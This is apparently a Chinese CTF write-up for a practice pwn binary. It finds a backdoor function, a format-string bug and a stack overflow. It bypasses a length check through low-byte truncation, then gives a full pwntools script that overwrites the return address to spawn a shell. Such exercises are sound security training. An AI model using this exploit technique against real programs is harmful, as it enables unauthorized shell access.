测试题wp

ida反汇编shift+f12看到有/bin/sh的字符串,找到后门函数

image-20250916153647517

主函数进入whlie循环,里面是一个login函数,只要输入小于20个字节就可以跳出循环,进入下一个函数

image-20250916153805194

在下一个函数中发现一个菜单,1可以进入show函数,2可以进入edit函数

i

跟进show函数发现有格式化字符串漏洞,但是由于checksec查看权限发现got不能覆写,放弃这一想法,查看edit函数

image-20250916154329046

发现栈溢出漏洞,src可以放payload,溢出dest到后门函数,但是发现if对v13也就是src的长度有限制

image-20250916154402654

gdb调试发现rax存着输入字节长度,但是比较的时候用的是al也就是输入字节长度的低字节,又发现之前read函数能输入最多300个字节,那我们如果输入0x1010x114个字节,那么其实都可以被截成0x010x14来绕过if

image-20250916153624705

exp:

from pwn import *

from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']

p = process('./cs')

elf = ELF('./cs')

ret=0x400296

backdoor = 0x4008AA

p.recvuntil(b"Input your username(max lenth:20): ")

p.sendline(b"aaa")

p.recvuntil(b"Input your password(max lenth:20): ")

p.sendline(b"bbb")

p.recvuntil(b"Register Success!!")

p.recvuntil(b">")

p.sendline(b"2")

p.recvuntil(b"please input new username(max lenth:20): ")

p.sendline(b'aaa')

p.recvuntil(b"please input new password(max lenth:20): ")

gdb.attach(p)

\#pause()

payload0=b'a'*0x28+p64(backdoor)

payload=payload0+b'a'*(0x100-len(payload0))

p.sendline(payload)

p.interactive()

可以打通

image-20250916154952026